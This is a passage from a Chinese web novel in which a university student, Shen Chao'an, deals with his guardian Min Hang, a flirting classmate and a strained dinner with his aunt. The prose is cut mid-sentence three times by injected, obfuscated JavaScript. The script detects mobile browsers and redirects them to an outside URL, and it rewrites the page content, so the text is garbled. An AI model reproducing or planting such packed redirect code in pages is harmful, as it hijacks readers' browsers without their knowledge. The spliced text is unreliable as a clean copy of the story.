“想回家了吗,时间差不多了,我们可以和林乐丰打声招呼就走。”闵行看得出来他的情绪不高。 “承平哥跟我说有礼物要给我,走之前要跟他说一声。”沈潮安四处看了看。 “好,你去找他,我去和林乐丰说一声。”闵行听到陆承平的名字没什么反应,点点头,起身去找林乐丰。 陆承平在吧台附近和几个人聊天,沈潮安走过去的时候,其中一个人的眼神落在他身上好几眼,然后对他轻佻地飞过去一个眼神。 “小安,是有什么事吗?”陆承平看见了他,主动问道。 “我要回去了,和你说一声,免得散场的时候你找不到我。”沈潮安说。 “好,跟我去车里吧,我把礼物拿给你。”陆承平笑容温和。 沈潮安觉得有点不舒服,不是身体上的,而是心理上的不适。 闵行不知道去哪找林乐丰了,到现在都还没回来,他只好先和陆承平一起到他的车那边去拿礼物。 从会客厅走到门口的这一小段距离,陆承平和一个又一个人打招呼,沈潮安走在他的身侧,很难以抑制住心里的烦躁。 走到门口的时候沈潮安看了一眼光线黯淡的停车场,不想和陆承平一起走进去,干脆就站在门口等陆承平把礼物拿过来。 他很无聊地靠住门口的柱子,眼神不聚焦地四处发散,熟悉的蓝色映入眼帘。 关小姐和闵行并肩从里面走出来。 “闵先生,今天很高兴能认识你,很期待我们的下次见面。”关小姐的声音里带着笑。 7. 第 7 章 他和闵行分开了多久?五分钟?十分钟? 只是这么一会儿,关小姐就能和闵行说上话,约上下次见面。 他讨厌她,讨厌她讨厌她讨厌她!走开走开走开!消失消失消失!立刻消失!!!!!! “沈先生,刚刚没看见你还很惋惜没能和你道别呢……你的脸色好差,是身体不舒服吗?”关小姐看见了他,语气关切道。 “我有点不舒服。”沈潮安朝她笑了笑,“我们回家吧,我想回家了,我想现在就回家。” 他的脸色发白,唇色也很白,看起来像是骤然失去了血色,但一双眼睛却很亮,里面像是燃着火,要将什么东西燃烧殆尽。 “好。”闵行没有多说什么,也没有再看关小姐一眼。 他揽住沈潮安的肩膀,让他能够稍稍靠住,就像风暴中的船短暂停留在港湾,他们站在最后两级台阶上等车来。 关小姐很明智地没有再说话,她察觉到此时微妙的氛围,她站在这里就像个外来者,悄声走开或许才是最佳选择。 但她挪不开脚,这么做就像落荒而逃,她并没有做错什么不是吗? 司机将车开到门口需要一点时间,去拿礼物的陆承平比车先来。 “小安这是怎么了?”陆承平的声音里含着笑和几分担忧。 沈潮安不想说话,缩在闵行的怀里摇摇头闭上眼睛。 “他不舒服,我们就先回去了。”闵行替他回答。 “原来是这样,给小安的礼物,回去好好休息。”陆承平把两个纸袋递过来。 闵行伸手接过,车也恰好停靠在台阶下。 上车,车门关闭,将台阶上的关小姐和陆承平都隔绝在外。 陆承平笑着挥手道别,关小姐站在比较靠门的地方,换了个站姿,鞋跟硌得她脚疼。 等到车开出了再也看不见的距离以后,陆承平的笑容收了起来,径直略过关小姐走进去。 关小姐轻轻跺了一下脚,放松腿部肌肉,也转身走回酒会。 * “我不喜欢她。”沈潮安的半边脸靠在车窗一侧,说这句话时车正好进入隧道,那一瞬看不见他脸上的表情。 闵行莫名觉得他应该是在皱眉。 “你不喜欢关小姐。”他将沈潮安的话重复了一遍。 “但是安雅喜欢她,她有两个博士学位,还会打台球。”沈潮安把脸转过来,盯着闵行看。 他试图从闵行的脸上看出点什么,闵行对他笑了起来。 “我和你一样,不喜欢关小姐,安雅的喜欢不重要。”闵行说。 “那你为什么要笑,关小姐看起来很礼貌,也还算漂亮,而且还很聪明。你是在笑我吗?”沈潮安细数关小姐的优点,眼睛依然没从闵行脸上移开。 “没有。我们可以终止这个话题了,我不喜欢关小姐,你也不喜欢关小姐,我们达成了共识,所以到此为止。”闵行收起了脸上的笑。 “但是关小姐和你说期待下次再见面,你们约了见面时间吗?”沈潮安继续追问。 “没有,沈小安,这是最后一次,可以让关小姐最后一次出现在我们的对话里吗?”闵行想直接捂住他的嘴,让他不要再问了。 “拉钩,保证这是最后一次。”沈潮安伸出了小尾指。 “好,我保证这是最后一次。”闵行拿出了严肃表情,像是在签署商业谈判的合同。 沈潮安钩住闵行的尾指,很慎重地牢牢打了个钩,拉完钩心情突然就放松了下来。 车开回半山别墅的时候已经将近十一点,沈潮安心情好了以后就带动神经兴奋,突发奇想要去看午夜场电影,赖在车座上不下来了。 闵行面无表情地把他赶下车,限时他半个小时之内洗完澡出现在床上准时睡觉。 沈潮安不情不愿地上楼,哀怨的眼神直到消失在二楼的楼梯尽头也没有收起。 “闵先生,您的东西落在车上了。”司机老蒋快步走到闵行身边递给他两个纸袋。 “丢了。”闵行撇了一眼,脸上没有表情。 老蒋摸不着头脑,但还是朝门外花园垃圾桶的方向走去。 “算了,拿回来吧。”老蒋一只脚都迈出门外了又被叫了回来。 闵行将袋子拿回手里,皱起一点眉从里面拿出两个盒子,上面包了礼物纸系了蝴蝶结,打开就很难再复原。 沈潮安洗完澡出来的时候,闵行在他的房间里,抬起手看了一眼表:“还算准时,半个小时之内出来了。” 洗澡还要被计算时间,多少有点诡异了。 沈潮安擦着头发:“半个小时出不来,难道有什么惩罚吗,什么时候在家里洗澡还要记时了,难道现在热水还分时段供应?” 闵行说:“半个小时不出来,我会怀疑你晕倒在浴室里了。看看你的礼物吧,陆承平给你又送了点什么小玩意。” 沈潮安随手将毛巾扔在地上,弯腰,塌下一弯柔软的弧线,往下圆润而后纤长,湿漉漉的美好年轻身体在闵行面前一览无余。 “你有看到过我的吹风机吗,我记得我明明把它塞在床头柜里了。”他说。 “没有,一般情况下它应该在洗手池下方的抽屉里。”闵行移开了视线。 “家政那帮人又乱收拾东西了。”沈潮安小声嘟囔着拉开另一个床头柜,这次找到了吹风机。 不是家政的锅,是他自己到处乱放。 两份放在桌子上的礼物被彻底忽略掉了,房间里只剩下吹头发的细微嗡嗡声。 闵行很耐心地坐在一旁的沙发上等着沈潮安吹完,沈潮安有点疑惑他为什么还在这里,但没问,这对他来说不算坏事。 头发吹得差不多了,还没拔吹风机的插头,闵行的声音从背后传来:“你的礼物。” 哦,原来是在等他拆礼物。 他把吹风机撂在床上,光着脚踩过去:“承平哥说是在博物馆买的纪念品,宝石标本和模型?” “哦,不值钱的小东西,送的是心意。” 闵行低下头盯着那两个礼物盒子,眼神如果有实质,那么这两份礼物应该会被从一楼的天花板直接锤进地下室。 沈潮安觉得这两句话听起来怎么有点怪怪的,就好像是在阴阳怪气。 闵行也会阴阳怪气吗,这大概是错觉吧? “那他很有心意了,他给我送的心意加起来可以装满两个最大号的搬家纸箱。”沈潮安边拆边回答。 闵行没忍住笑出了声,礼物纸的撕拉声和笑声混在一起,听起来有种意外的滑稽。 沈潮安从第一个盒子里面拆出来了好几个小盒子,小盒子的一面是透明的玻璃,里面固定着宝石。 盒子的侧面还镌刻着德文,他看不懂。 “琥珀,紫水晶,托帕石……剩下的几个不认识。”沈潮安将几个小盒子像是搭积木一样叠起来,“妈妈,你懂德文吗,能看懂上面写的是什么吗?” “不能,我只会一点日常用语,图片检索会更快。这些小石头挺漂亮的。”闵行说。 “还好吧,纯净度不是很高,很粗犷的原石。”沈潮安狐疑地看了闵行一眼,又看看手里的丑石头,它们甚至边缘还带点黑灰色的矿物杂质。 难道是在给陆承平挽尊?那下一份礼物他就说点好话吧。 “另一份呢,拆开看看。”闵行似乎心情不错,很有兴致地催促他拆开下一份。 “承平哥说是模型,但盒子不大,估计装不了多少。”沈潮安拆开盒子,里面摆放的小模型就像一群小锡兵,只不过是东倒西歪的。 嗯……有点难夸下嘴,他感觉自己收到了一份在小学二年级之前会很喜欢的礼物,哪个男孩子能拒绝一全套塑料小恐龙呢? “博物馆还卖这个?我记得你小时候我也给你买过一套,你当时很喜欢霸王龙和三角龙,经常让它们打架又和好。”闵行笑着提起他完全不记得的童年趣事。 “嗯……我不记得了,不过我很喜欢这份礼物,它们让我回忆起了一点点童年。”沈潮安违心地说。 “那要帮你摆到你的收藏室里去吗,这么多的小东西一定需要精心布置吧?”闵行微笑着说。 啊?你是认真的吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464269|185450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈潮安一想到这些东西要摆进他精心布置的收藏室内就疯狂摇头:“不要不要,这些礼物这么、这么有心意,不应该放在架子上面封尘,还是收起来吧。” 闵行的笑意更深了:“展示柜有玻璃,还有定时保洁,完全不用担心会有灰尘。” 沈潮安大脑飞速旋转:“那、那塑料制品容易发黄,还是打包收起来好了。” 闵行得到了令他满意的答案,就不再追问下去了:“随你的心意,时候不早了,早点休息吧。” 沈潮安说:“哦。” 真是最莫名其妙的一次,闵行以前不会管这么多的,顶多只是看两眼,所以他偷偷将很多不怎么样的礼物塞进了杂物间,这次怎么这么关注。 真是怪事。 酒会结束以后,安雅跟他闹了两天的别扭,不过在他答应陪她一起去扫货以后安雅很大度地原谅了他。 大四已经几乎没有课程了,不过沈潮安还是回了一趟学校,因为毕业论文有些部分需要和导师面谈。 简单的面谈过后,沈潮安抱着一沓废稿在学校门口的咖啡厅坐下。 脑力活动让肚子饿得很快,他点了一块小蛋糕和一杯柠檬水来补充体力。 大概是他吃得太专注了,没有注意到周围的动静,等人到面前开口了才留意到有人靠近。 “你、你好同学,请问这个位置有人坐吗?你介意我们拼桌吗?”一个紧张的声音说。 沈潮安从小蛋糕里抬头,站在面前的是一个很典型的阳光帅气体育生,短短的发茬和俊朗的年轻面貌,身上的篮球衣隐隐透出八块腹肌。 他转头看了看周围,没有空桌子了,于是勉强同意了拼桌请求:“坐吧,我不介意。” 体育生腼腆道谢:“谢谢同学,你知道这家店里面什么最好吃吗,有没有推荐啊?” 沈潮安说:“我不知道,你看看菜单吧。” 他不喜欢陌生人和他搭讪,也完全没有认识新朋友的打算,体育生的尬聊让他加快了吃蛋糕的速度。 体育生也意识到自己的搭讪太过突兀,安静下来不再试图和他搭话。 沈潮安口袋里的手机振动,掏出来看了一眼,是闵行的消息,问他现在还在学校吗。 我在学校门口的咖啡厅吃蛋糕。发出去之前他犹豫了一下,还是点击发送。 闵行说:【20分钟的时间够吗,等会顺路接你】 沈潮安开心地回:【够呀够呀,这里的焦糖芝士蛋糕很好吃,要不要给你打包一份呀】 闵行:【好】 沈潮安开心地点单,眉眼笑得弯起来,圆而明亮的杏眼靠近眼尾的部分薄而细腻,飞起如唇色一般的淡粉,唇珠轻微抿起一点,张开时带点舌尖碰过的潋滟水光,引得对面的体育生频频偷看。 他并未发觉,点完蛋糕以后往下滑,菜单栏里的冰淇淋在指尖滑过,想到好久没吃了,就也顺带点了一个。 重新抬起头时体育生慌忙埋首,眼睛都快要把桌子盯烂了。 沈潮安的眼睛频频往窗外望去,闵行从公司那边来,开的应该是那辆白色的库里南。 车还没到,放在桌上的手机又是一阵震动,拿起来一看,是闵行发来的信息。 【还有一个路口,两分钟】 沈潮安没有把手机收起来,而是一直盯着时间,对面的体育生又抬起眼睛来悄悄看他。 过去一分钟以后他突然站起来,提着打包好的小蛋糕直奔柜台,去拿他的甜筒冰淇淋。 体育生的视线差点和他撞个正着,慌忙低下头去时看见了他落在座位上的废稿。 好机会! 沈潮安接过甜筒,门外的库里南刚挨着马路边停下,他迈着欢快的脚步朝着路边走去。 车门打开,闵行看见他手里的冰淇淋挑了一下眉。 沈潮安假装没看见,将小蛋糕先塞过去:“给你的!不客气!” 体育生抱着那沓废稿气喘吁吁跑来:“沈同学!沈同学!你的、你的东西忘在座位上了!” 沈潮安和闵行同时看过去。 8. 第 8 章 啊,是他写的狗屁不通的论文废稿。 沈潮安有点尴尬,赶紧接过来:“谢谢你,幸好没弄丢,不然就有点麻烦了。” 体育生挠着头,脸红着眼神有些躲闪:“沈同学,我的名字叫程朗,我们可以、可以加个微信吗?” 沈潮安下意识看向闵行。 闵行的表情似笑非笑:“小安,可以加个微信吗?” 沈潮安读不出闵行的意思,路边不能停车太久不然要吃罚单,他掏出手机:“那加一个吧。” 加完了微信和体育生程朗道别,沈潮安赶紧上车,一转头就看见闵行的笑。 “你要怎么感谢这位程同学呢,小安。”闵行的笑带有调侃意味,在他这张脸上出现就会显得很奇怪。 “我嗯……要不我请他吃个冰淇淋?”冷湿的触感流淌到手上,沈潮安赶紧低头舔了一口冰淇淋。 “可是程同学应该不太想吃冰淇淋。他看你的时候脸红了,你猜他为什么要追出来叫住你呢?”闵行继续说。 话说到这份上,是个傻子都要听懂了。 “我不知道!”沈潮安瞪着他,手上的冰淇淋化得淅淅沥沥。 闵行坦然迎着那一瞪,抽了一张纸巾给他擦手,沿着白皙的指缝擦到手腕,冰淇淋淌得没完没了,像哀怨的情人脸上落下来的泪,晕得纸巾上黄一团粉一团。 “给你买了新卡带,今晚陪你打游戏。”闵行笑了一下,把那团纸巾凑到沈潮安的鼻尖下,“闻闻,草莓味和柠檬味,都化了,不吃了吧。” “不可以浪费,扔掉它我会伤心的。”沈潮安说。 生气的时候是要作对的,他就要和闵行对着干! 但他自己已经不想吃了,冰淇淋化做一团,像团泡发的奶昔,口感没有新挖的好。 “沈小安,这是你这个夏天第17个会伤心的冰淇淋了,上一个是薄荷生巧味的,上上个是西柚味的……” “你不要这样说,让冰淇淋听到我这么花心多不好。” 闵行拿他没办法,就着他的手几口就咬掉了剩下的冰淇淋,草莓的甜和柠檬的酸混在一起一股怪味,底下的脆筒实在没法儿吃,就让老蒋靠边找了个垃圾桶扔了。 老蒋见怪不怪,一路上都默不作声,闵行将沈潮安当儿子宠又不是一天两天了,放在心尖尖上宠了十几年爹瘾不降反增。 沈潮安举着那只拿过冰淇淋的手,嫌手上粘腻,车上有湿巾,闵行抽出来一张给他擦,从指缝到掌心,擦得整只手都凉凉的。 他们都很默契地没有再提体育生的事,逗一逗是乐趣,逗得过了,那可就是争端了。 回到家,没等闵行,沈潮安一口气跑到了游戏室,踢掉拖鞋一屁股坐在羊毛地毯上。 地毯上落着手柄和掌机,还是他出门之前的样子没被动过,他把手柄拿起来,对着面前的巨型液晶电视接着打出门前放下的游戏。 小小的一只蛞蝓猫在灰暗废墟之间穿梭,跳来跳去躲避敌人,觅食还有寻找避难所。 沈潮安玩得很认真,眼睛里都是那个灰暗世界偶尔会反射出的光影,当他进入这种专注状态的时候是听不见任何声音的。 游戏室的门被敲了两下,他没应,门外的人也见怪不怪,径直推了门走进来。 被他落在后面的闵行去了趟厨房,带进来一壶鲜榨橙汁,里面没加冰,下面放了个冰桶冰镇着,还有冰夹和俩郁金香杯,整得跟喝香槟似的。 沈潮安不理他,依旧沉浸在游戏世界里,小蛞蝓猫上上下下地跳。 闵行也不打扰他,坐在后面的沙发上看着他玩。 早八百年前闵行看了好几本育儿书,书上说在孩子专注干一件事的时候不要打断,不然就会毁掉孩子的专注力。 他深以为然,沈潮安专注起来就不理人是他一手栽培的成果。 闵行不开口说话,但却用目光将沈潮安看了个遍。 不坐沙发坐地毯,离电视屏幕近,对视力不好,扣1分。 坐没坐相,一条腿支起来,身体朝前拱,身体重心放在一侧,屁股都被压扁了半边,扣2分。 屏幕上的小蛞蝓猫被咬死了,人菜瘾大,扣10分。 “妈妈,你骚扰到我了。”沈潮安放下手柄面无表情地说。 他不承认是自己打得不好,把锅扣在只端了个果汁进来就一言不发的闵行身上。 “小安,甩锅不是这么甩的。”闵行觉得好气又好笑。 会叫妈妈,有礼貌,加10分。甩锅大王,扣100分。 “我的橙汁呢?”沈潮安转移话题。 他知道要是继续下去他一定说不过闵行的,还有可能会被教什么才是乖孩子。 “这里,自己的事情自己做。”闵行没有溺爱孩子的打算。 “怎么用这个杯子啊,还有冰桶,奇奇怪怪的。”沈潮安半跪在沙发上,伸手去够旁边桌上的橙汁壶。 他穿了条短裤,一双腿雪白雪白的,刚刚不正确坐姿的薄红压痕就格外明显。 有一处的颜色更深,更突兀,在雪白的膝弯里凸起红肿。 “这里是怎么回事,磕到了还是蚊子包。”闵行的指尖碰了碰。 “唔,不知道,你碰得我好痒。”沈潮安缩了一下,往后坐住了自己的小腿。 “跪好,你干你的,我看看。”闵行拍了一下他的腰侧。 “哦。”沈潮安怕痒,身体不由自主地瑟缩了一下。 雪白的大腿线条越往下就越窄,到膝弯的地方又隆起弧度,那一点如同尾指大小的肿起红痕就落在折叠起的凹陷里,像半埋落在雪地里的一记胭脂痕。 是个肿起一大片的毒蚊子包。 沈潮安一只手撑在沙发背上,另一只手提起橙汁壶,身体晃动跪得歪歪扭扭。 闵行碰了碰肿起的蚊子包,痒得他一缩腿,橙汁差点倒到杯子外面去。 “好了没有啊妈妈,我本来不觉得痒的,你一碰我就觉得了。”沈潮安缩起腿抱着冰镇橙汁,撒娇似的轻轻抱怨。 “好了,过来涂点紫草膏。是在家里被咬的还是在外面。”闵行拉开抽屉翻出了一管紫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464270|185450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草膏。 “不知道,感觉又疼又痒的。”沈潮安皱起眉头抓挠起膝弯,一抓下去就是一大片红痕,像是被猫挠了似的。 “别用手抓,毒蚊子越抓越痒还留疤,明天叫人来做个全屋消杀。”闵行抓了他的手,不让他继续挠。 沈潮安自己看不见包在哪,就站起来背对着闵行,让他给他涂。 闵行旋开盖子,认真一点一点地在鼓起的蚊子包上抹匀。 沈潮安忍不住发抖,闵行下手不重,膝弯的蚊子包又痒又敏感,碰得轻反而更容易发痒。 “妈妈重一点,这样好不舒服。”他忍不住说。 闵行如他所愿加大了力道,将那一片的肌肤都按得凹陷下去。 紫草膏的味道闻着怪,涂上去凉凉的,很快就不痒了。 沈潮安很狗腿地斟了满满一杯冰镇橙汁递给闵行,像是在敬酒,不过杯子里的橙汁也太多了,稍微晃一下都要撒到外面。 闵行一看就笑了:“这也太有诚意了。是为了感谢我帮你消灭蚊子包吗?” 沈潮安小心翼翼地将杯子凑到他唇边,示意他赶快喝一口:“不是,是为了感谢你送我新的游戏卡带。” 闵行连喝了两大口橙汁,冰镇的味道甜丝丝的,眼前的沈潮安格外乖巧,舌头上的甜一下子就甜进了心坎里。 “去吧,在柜子里,自己拆。”他把杯子接过来,指了指靠墙的陈列柜。 沈潮安欢呼一声,杯子一松就撒手没,从陈列柜里翻出来一箱子的新卡带。 他就地坐下,将整个箱子倒转过来,里面的卡带盒子哗啦散了一地。 沈潮安就跟只捣乱的猫似的,喜滋滋地欣赏着散乱一地的狼藉,然后一点一点废墟寻宝。 每捡起一个卡带看一眼就要大呼小叫一番,故意制造出动静吸引身后人的注意。 闵行摇晃橙汁如同摇晃红酒杯,就坐在沙发上面看着他,目光里欣赏、愉悦、骄傲、满意等等一系列情绪糅合在一起。 沈潮安是他亲手养大的,他熟知他的任何一切,他为他包揽一切,他们没有血缘关系,甚至没有书面文件来登记亲属关系,但却紧密相连。 沈潮安拆完了所有的卡带,心满意足地从里面挑出一盘卡带,回头看向闵行。 “答应过我的,今晚要陪我玩。” “好。但只能玩到今晚10点,不准熬夜,11点你就要睡觉。” 沈潮安想撇嘴,闵行看着他点点自己的嘴角,他立刻就扭过头去,背着闵行撇嘴。 最终还是没有如闵行所说,沈潮安一直磨磨蹭蹭,磨蹭到了十点半,才不情不愿地放下掌机,被闵行赶去洗澡睡觉。 打了一晚上游戏,沈潮安精神亢奋,没有那么容易睡着,就干脆靠在床头刷手机。 被遗落在一旁几乎一整个晚上的手机有好几条未读信息,有安雅的,有程朗的,还有一个没备注的头像的。 头像上的女人保养得很好,笑容腼腆又羞涩。 “小安,明天到妈妈这里来吃饭吧,薇薇也很想你。” 9. 第 9 章 沈潮安皱起眉,看了这条消息好几次,点进去又点出来,最后他一下按熄了手机屏幕。 就好像从来没有看到过那样。 因为这条信息,他一整个晚上都没睡好,翻来覆去了半个晚上才睡着,好不容易睡着了还做噩梦。 第二天起来,沈潮安的脸色比病了一场还要差劲。 最终他还是决定去吃一顿晚饭。 老蒋送沈潮安去丽晶公馆时,一路上都很沉默。 沈潮安不说话,老蒋也不开口,司机虽然有时也会调节一下气氛,但这个时候说什么话都不合适。 “小少爷,还是老时间吗?”老蒋在他要下车时问。 “看情况吧蒋叔,我会发消息给你的。”沈潮安说。 丽晶公馆这边他来的次数不多,以前经常去的是阳光加州,上了大学以后许美兰就搬来了这里,他答应来的次数寥寥无几。 他有房子的钥匙,但还是按了门铃。 门很快就开了,开门的是个即使眼角有两条细纹都很美的女人,那张脸和他长得很像,一看就有血缘关系。 “小安来啦,快进来快坐。”许美兰很紧张,紧张地说话紧张地盯着他的脸,也很紧张他的反应。 “小姨好。”沈潮安面对这样的热情只简单打了声招呼。 许美兰的身体立刻就僵了下来。 “你怎么又来了。”许薇听到声音跑出来看,一看到沈潮安就脸色难看。 “是小姨叫我来的。”沈潮安平静地说。 “薇薇,快叫哥哥。”许美兰赶紧给女儿打眼色。 可惜这并不管用,许薇今年14岁,正在叛逆期,最烦的就是这些虚的面子情。 “他才不是我哥!我哥是……”她说到一半,就被许美兰厉声打断了。 “薇薇!怎么和哥哥说话的!”许美兰声音里带了颤抖的凶意,但很快又软了下来,“乖,快叫哥哥。小安,薇薇还小,她不是故意的。” “哼!”许薇也知道自己说错了话,但又不服气,直接跑回房间嘭的一下甩上了门。 沈潮安只是冷漠地看着,完全没有从中调和的意思,这场短暂的争吵是因为他而爆发的,在此之前这样的争吵已经有过很多遍了,每次许美兰都偏向他。 但他走后,她们才是和和美美的一家。 有意思吗。 怪没意思的。 “小安,薇薇她就是这样子,脾气太大了,得多管管才好。进去吧,有你最喜欢的鲜榨橙汁。”许美兰对他笑,笑得有些卑微讨好。 “嗯。”沈潮安没说什么,应了一声就往里面走。 保姆殷勤地端上鲜榨橙汁,橙子不够甜,闻着有点泛酸,沈潮安只沾了沾唇就再也没碰。 许美兰小心翼翼地找着话题和他说,从吃的穿的聊到学校,她拿不准他都喜欢些什么,就一样一样地试。 “小安,学校的课难吗,老师有没有为难你?”她问。 “不难,老师不会为难我。”他回答。 “有找好实习了吗,毕业以后打算去哪里工作啊?”她继续问。 “没有,已经准备好了资料,毕业以后会出国。”他回答。 “出国啊,出国挺好的,外面风景好,可以多认识点人,还有能练习口语,他们都说海归好找工作……”许美兰实在不知道该说点什么了,笑着硬说了一大段话。 沈潮安没接话,他也不知道自己到底为什么要坐在这里,为什么要来这里吃一顿咽不下去的晚饭……大概是觉得这个女人可怜吧。 既可怜,又可恨。 许美兰自己也觉得自己说得很生硬,她不再问了而是开始劝着沈潮安多吃点水果零食。 橙汁酸得烧胃,酥饼又甜得腻味,沈潮安勉强吃了两口,差点就要吐出来。 许美兰误以为他喜欢,笑着哄他多吃两口:“我记得你小时候最喜欢吃的就是这种甜味重一点的点心,那一盒子点心只要买了,都会吃得干干净净,连掉下来的酥皮也一点都没放过。” 沈潮安看了她一眼,说:“我不喜欢那么甜的点心,只是因为没有别的东西吃。” 他对于那段记忆已经很模糊了,只记得听到门外传来脚步声的时候需要躲进衣柜里免得被人发现。 一天之中的三顿饭幸运的时候就会吃到有些不那么温热的食物,比较不幸运的时候只能靠点心充饥。 不幸的时刻总是比幸运多。 许美兰张了张嘴,没说出话。 沈潮安在观察她的表情,上面有那么一点歉疚的痕迹,但更多的是尴尬的笑意。 这样的表情没有持续太久,毕竟能当长期情妇的心理素质都不会差到哪里去,她重新调整好笑容,让保姆将桌上的酥饼撤掉,换上一份清爽的水果拼盘。 他们有一搭没一搭地说着,磨蹭着时间,一直拖延到晚饭的时候。 将自己关在房间里面的许薇臭着脸出来了,看到已经坐在饭桌旁边的沈潮安,翻了个白眼,很用力地拉开椅子。 滋啦—— 一阵令人牙酸的摩擦声让沈潮安皱起眉,许美兰赶忙训斥许薇:“薇薇!轻一点,这么拉椅子会把地板蹭花的!” 许薇把头扭到一边:“花了就花了呗,这是我家,我喜欢怎样就怎样。” “我家”这两个字咬字特别重,是对谁说的很明显。 许美兰气急,但又怕骂了女儿引起更大的争吵,小心翼翼看了沈潮安一眼,见他脸上没有什么表情心里松了口气。 沈潮安面无表情,等许薇坐稳了才说:“小姨,你家的家教不怎么样啊。” 轻飘飘的一句话就像一滴水,掉进了烧得正热的油锅,立刻就劈里啪啦炸开来。 许薇猛地站起来。砰的一下带倒了椅子:“你说谁没家教!明明是你!每次到我家里来我妈好吃好喝地招待你!反倒是你!每次都给我妈脸色看!” 许美兰去拉她的袖子,哀声道:“薇薇别说了……” 许薇正在气头上,大力甩开了许美兰:“妈!你想想他是怎么对你的!你难道欠了他什么吗?任由着他在我们家对我们横眉竖眼的!” 此话一出,许美兰脸上的血色霎那间褪尽,惨白得如同一张纸。 沈潮安却是笑了:“对啊小姨,难道你欠了我的吗?” 这句话如同压倒骆驼的最后一根稻草,许美兰脸上强撑起来的笑立刻溃散,眼泪刷的一下就掉了下来:“小安,不要说了,妈妈求求你,不要再说了……” 许薇被许美兰的眼泪吓了一跳,刚凶狠地看向沈潮安,却突然意识到了这些话里的不对。 她看向许美兰,颤着声问:“不、不是吧妈,你还真欠了他的啊?” 保姆站在厨房门口,手里端着热气腾腾的菜,正犹豫着要不要往上端。 沈潮安没有让她犹豫太久,站起身说:“我不吃了,你们随意。”、 说完就毫不留恋地抽身往外走。 局面都已经闹得如此尴尬了,这顿饭吃起来也没意思,还是快点走好了。 门合上之前,他还听见许美兰的哭声和许薇的焦急追问:“妈你说话啊!你到底欠了他什么啊!每次他来你都要低三下四的!你说啊!” 门一关上,世界霎那间安静。 沈潮安轻轻呼了一口气,身体并没有变得放松,沉闷的感觉还是笼罩着他。 他并没有感到高兴,而是有些茫然。 许美兰的愧疚并不是他想要的,时间已经过去得太久,他已经快要对那个黑暗的房间释怀,心里只有很小很小的那么一个角落存放着那段记忆,已经很久没有在想起了。 毕竟许美兰只是他的小姨不是吗?不能对她有太多的要求,也没必要在她的身上找情感寄托。 他的妈妈是闵行,也只能是闵行。 但为什么,心里还有种若隐若现撕扯着的闷痛呢? 大概是因为出来得太久,他开始想闵行了吧。 沈潮安给蒋叔发了条信息,让他现在到丽晶公馆来接他。 老蒋的车一直停在路边没走,沈潮安一出门就坐上了车。 “小少爷,现在去哪儿?”老蒋问道。 “去公司。”沈潮安说。 今天他告诉了闵行他要去丽晶公馆的事,闵行没说什么,就像以往的每次一样留在公司加班。 沈潮安不在的时候,闵行基本上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464271|185450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不会回家吃晚饭。 老蒋沉默着开车,每次从丽晶公馆回来以后沈潮安的情绪只会比去的时候更差,还是不要开口的好。 沈潮安给闵行发了条信息,告诉闵行他要来找他,然后就是看着窗外飞速倒退的绿化带发呆。 老蒋熟练地将车开进闵行公司楼下的地下停车场,在电梯附近将沈潮安放下,沈潮安有电梯卡,可以直接刷到闵行办公室那层。 在电梯里,沈潮安掏出手机看了看闵行有没有回复。 闵行还没回。 大概是在开会吧。沈潮安心想。 他转头给闵行的秘书发消息,问闵行在哪。 闵行的秘书团里和他比较熟悉的是王秘书和李秘书,他们一前一后回了消息,说闵行在开会。 那王秘书和李秘书也有在开会吗? 嗯,不要细想了。 沈潮安熟门熟路地刷开了闵行办公室的门,办公室里有个休息室,他直接进去等闵行。 他在沙发上等得有点无聊,不知道闵行什么时候才能开完会。 休息室的门被敲了敲。 应该不是闵行,闵行会直接开门进来。 “进来吧。”沈潮安说。 进来的是王秘书,手里提着一个保温袋。 王秘书长相敦厚,笑起来没有一点儿首席秘书的精明味道,从保温袋里拿出几个餐盒说:“小少爷,这个时间您还没吃饭吧,这是我们公司食堂的饭菜,不知道合不合小少爷的胃口。” 沈潮安肚子是真的有点饿了,从丽晶公馆离开的时候正是饭点,路上又花了不短的时间,胃都饿得有点木了。 他没有客气:“谢谢王秘书,我哥什么时候开完会啊?” 王秘书说:“不客气小少爷。按照以往开会的时间,应该还有半个小时多一点。” 沈潮安点点头,坐下开始吃饭。 闵行公司食堂的菜色不错,一个餐盒打开是豌豆炒虾仁,一个是蜜汁排骨,最后一个是番茄炒鸡蛋,还有一碗乌鸡汤。 沈潮安细细地咀嚼,将一顿饭吃得无比漫长,只要他吃得够慢,闵行就能快点来。 左边嚼完右边嚼,一口菜细细研磨以后才吞下肚,没过多久,闵行就开完会回来了。 沈潮安看了一眼时间,竟然只过去了十分钟。 比王秘书说的要早多了。 